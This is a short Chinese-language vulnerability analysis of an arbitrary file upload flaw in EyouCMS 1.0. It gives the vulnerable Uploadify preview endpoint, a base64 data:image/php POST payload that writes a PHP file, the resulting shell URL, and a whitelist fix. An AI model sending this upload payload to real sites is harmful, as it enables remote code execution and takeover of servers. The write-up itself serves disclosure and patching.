0x01 前言

eyoucms1.0前台getshell分析 - 图2
官网:http://www.eyoucms.com/download/
Cms下载地址:http://www.eyoucms.com/eyoucms1.0.zip

一顿查看以后,发现了个很奇葩的任意上传接口,这个漏洞应该是补天那个老哥提交的漏洞了。查找到以后就分析一波了。

0x02 利用

老样子:先讲如何利用
url: test.eyoucms1.0.com/index.php/api/Uploadify/preview

构造: <?php phpinfo;

eyoucms1.0前台getshell分析 - 图3

post: data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
eyoucms1.0前台getshell分析 - 图4

Shell: http://test.eyoucms1.0.com/preview/ae85d74a721b0b8bd247bc31207a12e2.php
eyoucms1.0前台getshell分析 - 图5

eyoucms1.0前台getshell分析 - 图6

0x03 漏洞详解

漏洞文件: eyoucms1.0\application\api\controller\Uploadify.php
漏洞函数:preview()

eyoucms1.0前台getshell分析 - 图7

eyoucms1.0前台getshell分析 - 图8
这里我将每行有意义的代码都解释了一下帮助读者进行查看。

而我刚开始时也思考了一下,这会不会是作者故意搞的后门?
带着这个问题我去问了一下加的php群的一些程序员 他们很惊讶的 表示data:image/ 居然还可以不是图片?
好吧。到这里我就基本明白为什么这个漏洞会出现了,估计作者以为data:image/ 只能是图片。

0x04 漏洞修复建议

  1. if (!in_array($type, array('jpg', 'png', 'jpeg', 'gif'), true)) {
  2. exit;
  3. }

eyoucms1.0前台getshell分析 - 图9